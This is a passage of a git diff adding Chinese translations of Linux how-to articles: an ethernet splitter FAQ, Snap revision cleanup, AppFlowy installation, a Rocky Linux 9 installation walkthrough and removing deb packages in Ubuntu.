的资源就不能被合理优化了。另外,因为你能连接的设备数量被限制在两个,如果你有两个以上的设备,以太网分离器并不是最佳选择。 + +此外,如果路由器只剩下一个以太网端口,使用分离器是不现实的;这时候就只能做一些牺牲了。然后,尽管它们可以减少把两个网络合并所需要的网线,这种方式需要两个分离器才能工作。 + +另一方面,以太网分离器也有一些优势。它们比起传统的网络设备要便宜,也不需要复杂的设置。不像其他网络设备,它们也不需要软件和其他配置。在设备不多的家庭网络中,比如说一个房间最多两个设备,以太网分离器是一个很好的选择。如果你只需要 100Mbps 的网络,只有两个设备要连接,以太网分离器是最好的选项。 + +以太网分离器出现已经很长时间了,但是由于非常简单,也没有太多可以改进的空间。它们仍然是基于过时的 快速以太网Fast Ethernet 标准,这也许和今天高速网络的需求有点格格不入。尽管有它们的优势,大多数情况下,它们还真不是一个现实的解决方案。随着现在技术的进步,以太网分离器的前景依然光明。也许某个天才可以让它用在 千兆以太网Gigabit Ethernet 标准上。 + +现在你已经对以太网分离器有一些了解了,下面是一些常见问题(FAQ)。 + +### 常见问题 + +#### 可以把一条以太网线分到两个设备上吗? + +如果你想把一条以太网线分到两个设备上,这是很正常的想法。然而,这就需要买一个以太网线共享分离套件。分离器套件可以让多个设备同时使用同一条网线。如果你想把 PC 和笔记本,或者 PC 和游戏主机,同时连到同一个网线上,这是个不错的选择。 + +说到连接速度,以太网线会超过其他连接方式。当有些东西需要快速连接,比如说游戏,以太网线通常都是最好的选择。 + +需要指出的是,你不能用一个网线连接两个设备,因为它们只是为一个设备而设计的,这也就是为什么你需要一个以太网分离器。它会连到一个已有的网线上,然后为两个设备提供连接。 + +#### 我怎么把两个设备连到一个以太网端口? + +两个设备可以连到一个以太网端口。然而,就像之前说的,你需要使用网线共享套件。这是因为每个以太网连接是为一个单个设备设计的。 + +有了以太网线共享套件,你就可以给一个以太网端口连上多个设备了,这对于家庭网络来说是非常方便的。如果你有不多的几个以太网连接可用,然后需要很多的 LAN 连接,这肯定有用。 + +还需要说的一点是,如果你有多余的以太网端口可用,如果是这种情况,最好的选择是给每个设备分配一个端口。当这种情况不行的时候,网线共享套件或者分离器是一个完美的备选方案。 + +#### 以太网分离器和交换机有什么区别? + +以太网分离器和交换机工作起来差不多,但是从根本上是不同的。以太网分离器可以在同一根以太网线上运行两个独立的连接。然而,这最多就是两个连接。如果你只想要一个另外的设备连到这个以太网上,这是个不错的选择。但是,再有其他设备就不行了。 + +如果你想往一个以太网连接上连很多个设备,就需要买一个以太网交换机。除了可以允许多于两个设备连接外,交换机和以太网分离器相似。如果有很多要连接的设备,但是只有几个以太网端口,交换机是非常方便的,比如说你正在连接很多设备到 LAN。 + +虽然它们支持堆叠,但需要记住的是,它们也需要供电。交换机和分离器的另一个不同是,分离器不要供电,可以直接连到以太网端口。 + +#### 我需要以太网交换机还是分离器? + +你要连接的设备的数量决定了是需要一个交换机还是分离器。如果只需要连两个设备,可以用以太网分离器,也不用给他供电。 + +相反的,如果需要连几个设备,以太网交换机是一个理想的解决方案。它可以连接几个设备到同一个以太网端口,但是它需要供电。 + +我希望这篇指南能帮你了解以太网分离器以及如果使用它们。从网上可以以很低的价格买到。然而,如果需要超过 100Mbps 的速度,也许你需要给你的网络配置一下线路。 + +[这篇文章是我们硬件指南的一部分。][5] + +*Featured Photo by Jainath Ponnala on Unsplash* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/ethernet-splitter-speed/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[MCGA](https://github.com/Yufei-Yan) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://en.wikipedia.org/wiki/Registered_jack +[2]: https://www.debugpoint.com/wp-content/uploads/2021/10/sample-diagram-using-ethernet-splitter-1024x896.jpg +[3]: https://en.wikipedia.org/wiki/Fast_Ethernet +[4]: https://en.wikipedia.org/wiki/Gigabit_Ethernet +[5]: https://www.debugpoint.com/category/hardware diff --git a/published/202208/20220716 How to Clean Up Snap Versions to Free Up Disk Space.md b/published/202208/20220716 How to Clean Up Snap Versions to Free Up Disk Space.md new file mode 100644 index 0000000000..22831f875e --- /dev/null +++ b/published/202208/20220716 How to Clean Up Snap Versions to Free Up Disk Space.md @@ -0,0 +1,108 @@ +[#]: subject: "How to Clean Up Snap Versions to Free Up Disk Space" +[#]: via: "https://www.debugpoint.com/clean-up-snap/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14904-1.html" + +如何清理 Snap 保留的旧软件包以释放磁盘空间 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/07/105824nyac4m66a6886x6q.jpg) + +> 这个带有脚本的快速指南有助于清理旧的 Snap 软件包,并释放 Ubuntu 系统中的一些磁盘空间。 + +我的 Ubuntu 测试系统中出现磁盘空间不足。因此,我通过 GNOME 的磁盘使用分析器进行调查,以找出哪个软件包正在消耗宝贵的 SSD 空间。除了通常的缓存和主目录,令我惊讶的是,我发现 Snap 和 Flatpak 消耗了大量的存储空间。 + +![Snap size – before cleanup][1] + +我始终坚持一个规则:除非必要,否则不要使用 Snap 或 Flatpak。这主要是因为它们的安装大小和一些其他问题。我更喜欢原生 deb 和 rpm 包。多年来,我在这个测试系统中安装和移除了一些 Snap 包。 + +问题出现在卸载后。Snap 在系统中保留了一些残留文件,而一般用户不知道。 + +所以我打开了 Snap 文件夹 `/var/lib/snapd/snaps`,发现 Snap 会保留以前安装/卸载的软件包的旧版本。 + +例如,在下图中,你可以看到 GNOME 3.28、3.34 和 Wine 这些都被删除了。但它们还在那里。这是因为 Snap 设计上在正确卸载后保留已卸载软件包的版本。 + +![Files under snaps directory][2] + +或者,你可以在终端中使用: + +``` +snap list --all +``` + +![snap list all][3] + +对于保留的版本数量,默认值为 3。这意味着 Snap 会保留每个软件包的 3 个旧版本,包括当前安装版本。如果你对磁盘空间没有限制,这是可以的。 + +但是对于服务器和其他场景,这很容易遇到成本问题,消耗你的磁盘空间。 + +不过,你可以使用以下命令轻松修改计数。该值可以在 2 到 20 之间。 + +``` +sudo snap set system refresh.retain=2 +``` + +### 清理 Snap 版本 + +在 SuperUser 的一篇文章中,Canonical 的前工程经理 Popey [提供了一个简单的脚本][4] 可以清理旧的 Snap 版本并保留最新版本。 + +这是我们将用来清理 Snap 的脚本。 + +``` +#!/bin/bash + #Removes old revisions of snaps + #CLOSE ALL SNAPS BEFORE RUNNING THIS + set -eu + LANG=en_US.UTF-8 snap list --all | awk '/disabled/{print $1, $3}' | + while read snapname revision; do + snap remove "$snapname" --revision="$revision" + done +``` + +将上述脚本以 .sh 格式保存在目录中(例如 `clean_snap.sh`),赋予其可执行权限并运行。 + +``` +chmod +x clean_snap.sh +``` + +当我运行脚本时,它减少了很多磁盘空间。该脚本还将显示要删除的包的名称。 + +![Executing the script][5] + +![Snaps size after cleanup][6] + +### 结束语 + +关于 Snap 的设计效率如何,人们总是争论不休。许多人说,它的设计是糟糕的,是臃肿的,且消耗系统资源。该论点的某些部分是正确的,我不会否认。如果正确实施和增强,沙盒应用的整个概念就很棒。我相信,与 Snap 相比,Flatpak 做得更好。 + +也就是说,我希望这可以帮助你清理一些磁盘空间。尽管它只在 Ubuntu 中进行了测试,但它应该适用于所有支持 Snap 的 Linux 发行版。 + +此外,请查看我们关于 [如何清理 Ubuntu][7] 的指南以及其他步骤。 + +最后,如果你正在寻找清理 **Flatpak** 应用,请参阅 [这个指南][8]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/clean-up-snap/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/03/Snap-size-before-cleanup.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/03/Files-under-snaps-directory.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/03/snap-list-all.jpg +[4]: https://superuser.com/a/1330590 +[5]: https://www.debugpoint.com/wp-content/uploads/2021/03/Executing-the-script.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/03/Snaps-size-after-cleanup.jpg +[7]: https://www.debugpoint.com/2018/07/4-simple-steps-clean-ubuntu-system-linux/ +[8]: https://www.debugpoint.com/clean-up-flatpak/ diff --git a/published/202208/20220718 AppFlowy- An Open-Source Alternative to Notion.md b/published/202208/20220718 AppFlowy- An Open-Source Alternative to Notion.md new file mode 100644 index 0000000000..3775e83c7f --- /dev/null +++ b/published/202208/20220718 AppFlowy- An Open-Source Alternative to Notion.md @@ -0,0 +1,167 @@ +[#]: subject: "AppFlowy: An Open-Source Alternative to Notion" +[#]: via: "https://itsfoss.com/appflowy/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14888-1.html" + +AppFlowy:Notion 的开源替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/02/102316f1g6p369uyeeybgo.jpg) + +> AppFlowy 旨在成为 Notion 的开源替代品,为你提供更好的隐私保护。让我们了解一下它。 + +虽然项目管理/笔记工具 Notion 功能非常出色,但它并不是一个开源解决方案。此外,它没有 Linux 桌面客户端。 + +那么,对于 Linux 用户来说,更透明、更私密和可用的替代方案是什么? + +这就是 AppFlowy 大放异彩的地方! + +AppFlowy 使用 Rust 和 Flutter 构建,遵循极简原则,但提供了足够的调整空间。 + +### AppFlowy 是隐私和用户体验的完美结合 + +![appflowy][1] + +AppFlowy 是相当新的。在它去年首次推出后,我们曾 [报告][2] 了它的发展状况。 + +这是一个开源项目,旨在克服 [Notion][3] 在安全和隐私方面的一些限制。它可以帮助你管理任务、添加待办事项列表、截止日期、跟踪事件、添加页面,以及为你的笔记/任务设置文本格式。 + +不仅仅是安全性。用户体验也很重要。而 AppFlowy 在这方面做得很好,甚至比 Notion 更好。 + +请注意,该项目仍处于 **测试阶段**。 + +目前,该项目的目标不是提供更好的设计和功能,而是数据隐私、原生体验和社区驱动。 + +### Notion 与 AppFlowy,如何选择? + +虽然它旨在作为取代 Notion 的开源解决方案,但它可能并不适合所有人。 + +因此,如果你要选择 AppFlowy 而不是 Notion,你将获得以下好处: + +#### 透明度 + +AppFlowy 是一个开源项目,因此你可以随时查看和修改代码。 + +#### 隐私 + +作为闭源软件,Notion 可以直接访问你在云中的私有数据。与之相比,你可以根据自己的喜好自行托管 AppFlowy。 + +你的所有个人数据都将保留在你身边,你可以完全控制它。开发人员还提到他们正在使用离线模式来更好的支持本地安装。 + +#### 性能和原生体验 + +AppFlowy 使用 Rust 和 Flutter 构建,在提供现代用户体验的同时将性能置于优先位置。 + +不仅限于此,你还可以在 Linux 上获得良好的原生体验,这是 Notion 所没有的。 + +### AppFlowy 的功能 + +![appflowy screenshot 1][4] + +AppFlowy 在功能方面可能并不优越,但它确实提供了基本的功能。 + +随着开发的继续,你可以期待它会添加更多的功能。一些现有的功能包括: + +* 原生的跨平台支持。 +* 能够自行托管或将其安装在你的本地计算机上。 +* 可定制。 +* 数据隐私(重中之重)。 +* 单一代码库,便于更好地维护。 +* 社区驱动的可扩展性。 +* 简约的用户界面。 +* 可以添加待办事项、管理任务。 +* 文本高亮和基本的格式化。 +* 用于编辑单元格/网格的键盘快捷键。 +* 支持深色模式。 + +#### 在 Linux 上安装 AppFlowy + +由于它仍处于测试阶段,在默认仓库中还不可用,并且没有维护任何 PPA,也没有 Flatpak/Snap 包。 + +但是,你可以通过给定的命令轻松安装 AppFlowy(仅在 Ubuntu 20.04 LTS 和 Arch X86_64 上测试过): + +``` +wget https://github.com/AppFlowy-IO/AppFlowy/releases/download/0.0.4/AppFlowy-linux-x86.tar.gz +tar -xzvf AppFlowy-linux-x86.tar.gz +cd AppFlowy +``` + +要运行 AppFlowy,请使用该命令: + +``` +./app_flowy +``` + +要在你的系统菜单中注册 AppFlowy,你必须执行以下附加步骤: + +首先,你必须更改 AppFlowy 徽标的默认名称: + +``` +mv flowy_logo.svg app_flowy.svg +``` + +现在,你必须将 Linux 桌面文件模板复制为正式的 Linux 桌面文件。 + +``` +cp appflowy.desktop.temp app_flowy.desktop +``` + +然后对配置文件进行一些更改。 + +``` +sudo nano appflowy.desktop +``` + +在这里,你必须将 `[CHANGE_THIS]` 替换为图标和可执行文件的对应路径。 + +![add location of icon and exec file][5] + +使用 `CTRL + O` 保存更改并使用 `CTRL + X` 退出。 + +最后,移动桌面文件,以便你的系统可以读取它。 + +``` +mv app_flowy.desktop ~/.local/share/applications/. +``` + +它应该是这样的: + +![appflowy in system menu][6] + +无论哪种情况,你都可以查看 AppFlowy 的 [官方文档][7] 以从源代码构建它。在其官方网站上了解更多关于它的信息。 + +> **[AppFlowy][8]** + +### 总结 + +如果你需要具有原生 Linux 体验的简单的类 Notion 应用,AppFlowy 是一个有趣的选择。 + +考虑到它正在积极开发中,并且远非 Notion 的完全替代品,肯定会出现一些错误/问题。 + +作为 Notion 的开源替代品?它可以的!你可以使用它来管理任务、添加笔记和制作待办事项列表。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/appflowy/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/07/AppFlowy.png +[2]: https://news.itsfoss.com/appflowy-development/ +[3]: https://www.notion.so/ +[4]: https://itsfoss.com/wp-content/uploads/2022/07/appflowy-screenshot-1.png +[5]: https://itsfoss.com/wp-content/uploads/2022/07/Add-location-of-icon-and-exec-file-800x524.png +[6]: https://itsfoss.com/wp-content/uploads/2022/07/AppFlowy-in-System-menu-1.png +[7]: https://appflowy.gitbook.io/docs/essential-documentation/contribute-to-appflowy/software-contributions/environment-setup/building-on-linux +[8]: https://www.appflowy.io/ diff --git a/published/202208/20220718 How to Install Rocky Linux 9 Step by Step with Screenshots.md b/published/202208/20220718 How to Install Rocky Linux 9 Step by Step with Screenshots.md new file mode 100644 index 0000000000..077a9f1326 --- /dev/null +++ b/published/202208/20220718 How to Install Rocky Linux 9 Step by Step with Screenshots.md @@ -0,0 +1,216 @@ +[#]: subject: "How to Install Rocky Linux 9 Step by Step with Screenshots" +[#]: via: "https://www.linuxtechi.com/how-to-install-rocky-linux-9-step-by-step/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14909-1.html" + +图解 Rocky Linux 9 安装步骤 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/08/172822s7zwhj7wuzzjfm25.jpg) + +> 这篇教程中,我们将图解 Rocky Linux 9 安装步骤。 + +Rocky 企业软件基金会Rocky Enterprise Software Foundation 已经发布了它的最新的操作系统 “Rocky Linux 9”。Rocky Linux 是针对工作站和服务器的自由而开源的操作系统。它被认为是 CentOS Linux 的继承者。 + +Rocky Linux 9 是 RHEL 9 的复制品,其开发代号是“Blue Onyx”。Rocky Linux 和 RHEL 之间的主要不同是,它有它自己的名为 “Peridot” 的开源构建系统。 + +### Rocky Linux 9 的更新和特色 + +* Gnome 40 是默认的桌面环境 +* 在 XFS 文件系统上支持直接访问Direct Access(DAX)操作 +* 更新了运行时和编译器,如 GCC 11.2.1 、LLVM 13.0.1 、Rust 1.58.1 和 Go 1.17.1 +* 更新了开发工具链,如 Python 3.9 、Node.js 16 、Ruby 3.0.3 、Perl 5.32 和 PHP 8.0 +* ssh 默认禁用了 root 用户身份验证 +* 更新了 OpenSSL 3.0,改进了 Cockpit 网页主控台 +* 社区提供支持到 2032 年 05 月 31 日 + +### 前置条件 + +* 2 GB 及更多的内存 +* 2 个 CPU 核心(1.1 GHz 及更高) +* 20 GB 硬盘空间 +* 可启动介质(USD 或 DVD) +* 互联网连接(可选) + +不再耽误时间,让我们直接进入 Rocky Linux 9 的安装步骤: + +### 1、下载 Rocky Linux 9 的 ISO 文件 + +使用下面的官方网址来下载 ISO 文件 + +> **[Rocky Linux 9 ISO][1]** + +在你下载 ISO 文件后,使用已下载的 ISO 文件制作一个可启动介质(USB/DVD)。 + +在 Windows 中,你可以利用 Rufus 软件来使用 ISO 文件来制作可启动 USB 驱动器。在 Linux 中,参考下面的内容: + +> **[在 Ubuntu / Linux Mint 上,如何创建可启动 USB 驱动器][2]** + +### 2、使用可启动媒介盘启动系统 + +在你计划安装 Rocky Linux 9 的硬件系统上,BIOS 设置中将可启动介质从硬盘驱动器更改为 USB 驱动器, 重新启动它。 + +在硬件系统使用可启动介质启动后,我们将看到下面的屏幕, + +![Select-Install-Rocky-Linux-9-option][3] + +选择第一个选项, 安装 Rocky Linux 9.0Install Rocky Linux 9.0 ,并按下 回车enter 按键。 + +### 3、选择首选语言 + +选择**安装过程**的首选语言,然后单击 继续Continue 按钮, + +![Preferred-Language-for-RockyLinux9-Installation][4] + +### 4、安装过程摘要 + +在这个步骤中,我们将看到如下的初始安装摘要。要开始安装,首先,我们必须完成标记项目,如 安装目标Installation Destination用户设置User settings。 + +除了已标记的项目外,我们也可以更改现有的项目,只需要按照你的要求单击它们就可以进行更改。 + +![Initial-Installation-Summary-Rocky-Linux9][5] + +#### 配置安装目标 + +在这个项目中,我们将为 Rocky Linux 具体指定分区方案。单击 安装目标Installation Destination。 + +在这里,我们可以为 存储配置storage configuration分区方案partition scheme 选择 自动automatic 选项或 自定义custom 选项。 + +在自动选项中,安装程序将在磁盘上自动地创建分区,而自定义选项允许我们在磁盘上手动创建分区。 + +![Choose-custom-Storage-Configuration-Rocky-Linux9][6] + +在这篇指南中,我将使用 自定义Custom 选项,单击 执行Done 按钮。 + +![Standard-Partition-Scheme-RockyLinux9][7] + +在该 40 GB 的磁盘上,我们将创建以下分区, + +* `/boot`:2GB(xfs 文件系统) +* `/`:10 GB(xfs 文件系统) +* `/home`:25 GB(xfs 文件系统) +* 交换分区:2 GB + +开始创建分区,选择 标准分区Standard Partition 方案,然后单击 “+” 符号。 + +创建第一个分区,大小为 2 GB 的 `/boot` 分区, + +![Boot-Partition-RockyLinux9-Installation][8] + +单击 添加挂载点Add mount point 按钮。 + +类似地,接下来分别创建大小为 10 GB 的 `/` 分区和 25 GB 的 `/home` 分区。 + +![Slash-Partition-Rocky-Linux9-installation][9] + +![Home-Partition-Rocky-Linux9-Installation][10] + +现在,创建最后一个分区,大小为 2 GB 的交换分区,(LCTT 校注:如果你的内存非常多,你可以选择不创建交换分区。另外,对于生产环境,建议将存储数据的目录单独划分分区。) + +![Swap-Partition-RockyLinux9-Installation][11] + +在你完成手动分区后,单击 执行Done 按钮来完成这个项目。 + +![Finish-Manual-Partitioning-RockyLinux9-Installation][12] + +选择 接受更改Accept Changes 按钮来将这些更改写入磁盘。它也将返回到安装摘要屏幕。 + +![Accept-Changes-to-Write-on-Disk-RockyLinux9][13] + +#### 配置用户设置 + +在 用户设置User Settings 下,单击 root 密码 Root Password 按钮。 + +![Set-Root-Password-RockyLinux9-Instalation][14] + +设置 root 用户的密码,并单击 执行Done 按钮。 + +再次回到 用户设置User Settings 下,单击 用户创建User Creation 按钮,具体指定本地用户的详细信息,例如用户名称和密码。 + +![Local-User-Create-During-RockyLinux9-Installation][15] + +单击 执行Done 按钮,它也将返回到安装摘要。 + +现在,我们准备开始安装,单击开始安装Begin Installation 按钮, + +![Begin-Installation-Option-RockyLinux9][16] + +### 5、安装过程开始 + +在这一步骤中,安装程序已经开始了,并在正在进行中, + +![RockyLinux9-Installation-Progress][17] + +在安装过程完成后,安装程序将提示你重新启动系统。 + +![Reboot-System-after-RockyLinux9-Installation][18] + +单击 重新启动系统Reboot System 按钮。 + +注意:不要忘记在 BIOS 设置中将可启动介质从 USB 启动更改为硬盘驱动器启动。 + +### 6、安装后的登录屏幕和桌面环境 + +在成功安装后,当系统启动时,我们将看到下面的登录屏幕: + +![RockyLinux9-Loginscreen-Post-Installation][19] + +使用我们在安装期间创建的用户名称和密码,按下 回车enter 按键来登录。 + +![Desktop-Env-RockyLinux9][20] + +打开终端,依次运行下面的命令: + +``` +$ sudo dnf install epel-release -y +$ sudo dnf install neofetch -y +``` + +现在,来验证系统的详细信息,运行 `neofetch` 命令: + +``` +$ neofetch +``` + +![neofetch-rockylinux9-post-installation][21] + +这就是这篇指南的全部内容,我希望它对你有用。请在下面的评论区贴出你的疑问和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-rocky-linux-9-step-by-step/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://rockylinux.org/download +[2]: https://www.linuxtechi.com/create-bootable-usb-disk-dvd-ubuntu-linux-mint/ +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Select-Install-Rocky-Linux-9-option.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Preferred-Language-for-RockyLinux9-Installation.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Initial-Installation-Summary-Rocky-Linux9.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Choose-custom-Storage-Configuration-Rocky-Linux9.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Standard-Partition-Scheme-RockyLinux9.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Boot-Partition-RockyLinux9-Installation.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Slash-Partition-Rocky-Linux9-installation.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Home-Partition-Rocky-Linux9-Installation.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Swap-Partition-RockyLinux9-Installation.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Finish-Manual-Partitioning-RockyLinux9-Installation.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Accept-Changes-to-Write-on-Disk-RockyLinux9.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Set-Root-Password-RockyLinux9-Instalation.png +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Local-User-Create-During-RockyLinux9-Installation.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Begin-Installation-Option-RockyLinux9.png +[17]: https://www.linuxtechi.com/wp-content/uploads/2022/07/RockyLinux9-Installation-Progress.png +[18]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Reboot-System-after-RockyLinux9-Installation.png +[19]: https://www.linuxtechi.com/wp-content/uploads/2022/07/RockyLinux9-Loginscreen-Post-Installation.png +[20]: https://www.linuxtechi.com/wp-content/uploads/2022/07/Desktop-Env-RockyLinux9.png +[21]: https://www.linuxtechi.com/wp-content/uploads/2022/07/neofetch-rockylinux9-post-installation.png diff --git a/published/202208/20220719 How to Uninstall Deb Packages in Ubuntu.md b/published/202208/20220719 How to Uninstall Deb Packages in Ubuntu.md new file mode 100644 index 0000000000..5f4040f977 --- /dev/null +++ b/published/202208/20220719 How to Uninstall Deb Packages in Ubuntu.md @@ -0,0 +1,133 @@ +[#]: subject: "How to Uninstall Deb Packages in Ubuntu" +[#]: via: "https://itsfoss.com/uninstall-deb-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14885-1.html" + +如何在 Ubuntu 中卸载 deb 包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/01/180906afaqifcsqqsfsxyq.jpg) + +[从 .deb 文件安装应用][1] 非常简单。双击它,它会在软件中心中打开,然后从那里安装它。 + +但是如何在 Ubuntu 或 Debian 中卸载 deb 包呢?如何删除一段时间前安装的软件包呢。 + +虽然这有几个如果和但是,但删除 .deb 文件的最简单和最可靠的方法是使用 `apt remove` 命令。 + +``` +sudo apt remove program_name +``` + +如你所见,**你需要在这里知道确切的包名称**。这可能并不总是显而易见的。例如,如果你在 Ubuntu 上安装 Google Chrome,则该程序在命令行中称为 “google-chrome-stable”。你已经知道了吗?我猜你不知道。 + +在本教程中,我将详细介绍如何找到确切的包名称,然后使用它来删除应用。我还将讨论使用图形方法删除 deb 包。 + +### 从 Ubuntu 中删除通过 .deb 文件安装的软件包 + +在我向你展示如何从命令行删除 deb 包之前,让我们在软件中心应用中快速查看它。 + +#### 方法 1:检查应用是否可以从软件中心移除 + +Ubuntu 有软件中心 GUI 应用,允许搜索、安装和删除应用。 + +搜索时,软件中心可能不会显示已安装的应用。 + +![Searching for installed applications may not show any results in Ubuntu Software Center][2] + +但是,如果向下滚动,你仍可能在“已安装”部分下找到它。外部应用通常不带徽标显示。 + +![Some installed applications can be found in the ‘installed’ tab of the Software Center][3] + +如果找到它,你可以通过单击“垃圾桶”图标或“删除”按钮来删除该应用。 + +![Removing applications from the Ubuntu software center][4] + +**一句话:检查是否可以从软件中心删除应用。** + +#### 方法 2:使用 apt 命令删除应用 + +我假设你不知道该应用命令的确切名称。你可能不知道 Google Chrome 安装为 google-chrome-stable 而 Edge 安装为 microsoft-edge-stable,这很正常。 + +如果你知道前几个字母,那么 tab 补全可能会有所帮助。否则,你可以 [使用 apt 命令列出已安装的应用][5] 并使用 `grep` 搜索应用程序名称: + +``` +apt list --installed | grep -i possible_package_name +``` + +例如,你可以智能地猜测 Google Chrome 包的名称中应该包含 chrome。你可以这样搜索: + +``` +apt list --installed | grep -i chrome +``` + +在某些情况下,你可能会得到多个结果。 + +![check if google chrome installed in ubuntu][6] + +如果你不确定这些软件包的作用,你可以随时通过以下方式获取它们的详细信息: + +``` +apt info exact_package_name +``` + +获得确切的软件包名称后,你可以使用 `apt remove` 命令将其删除。 + +``` +sudo apt remove exact_package_name +``` + +你还可以使用 `apt-get remove` 或 `dpkg uninstall` 命令来删除。 + +![Removing applications installed via .deb files using the apt command][7] + +#### 方法 3:使用 Synaptic 包管理器删除 deb 应用 + +另一种方法是使用 [Synaptic 包管理器][8]。在 GNOME 以“软件中心”的形式创建其图形包管理器之前,Synaptic 是 Ubuntu 和许多其他发行版中的默认 GUI 包管理器。 + +它仍然是 [Xfce 桌面环境][9] 上的推荐工具。 + +首先安装它: + +``` +sudo apt install synaptic +``` + +打开 Synaptic 并搜索包名称。查找标记为绿色的已安装软件包。右键单击它们,然后单击“标记为删除”。之后点击应用。 + +![Removing Deb packages using Synaptic package manager][10] + +### 对你有帮助吗? + +我非常乐意使用 `apt` 命令删除从 .deb 文件中安装的软件包。但我可以理解,并不是每个人都喜欢使用命令行。 + +在删除从外部 .deb 文件安装的应用时,我发现软件中心中找不到它。软件中心还可以做的更好一些。 + +我希望你现在对删除 deb 包有更好的了解。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/uninstall-deb-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-deb-files-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/search-for-installed-applications-ubuntu-software-center.png +[3]: https://itsfoss.com/wp-content/uploads/2022/07/installed-applications-in-ubuntu-software-center-scaled.webp +[4]: https://itsfoss.com/wp-content/uploads/2022/07/removing-applications-from-ubuntu-software-center-scaled.webp +[5]: https://itsfoss.com/list-installed-packages-ubuntu/ +[6]: https://itsfoss.com/wp-content/uploads/2022/07/check-if-google-chrome-installed-in-Ubuntu.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/removing-deb-files-applications-ubuntu.png +[8]: https://itsfoss.com/synaptic-package-manager/ +[9]: https://www.xfce.org/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/removing-deb-files-using-synaptic-scaled.webp diff --git a/published/202208/20220719 Top 10 Features of Linux Mint 21 -Vanessa-.md b/published/202208/20220719 Top 10 Features of Linux Mint 21 -Vanessa-.md new file mode 100644 index 0000000000..651a28a227 --- /dev/null +++ b/published/202208/20220719 Top 10 Features of Linux Mint 21 -Vanessa-.md @@ -0,0 +1,188 @@ +[#]: subject: "Top 10 Features of Linux Mint 21 “Vanessa”" +[#]: via: "https://www.debugpoint.com/linux-mint-21-features/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14894-1.html" + +Linux Mint 21 “Vanessa” 的 10 大特色 +====== + +> 我们总结了 Linux Mint 21 “Vanessa” 的 10 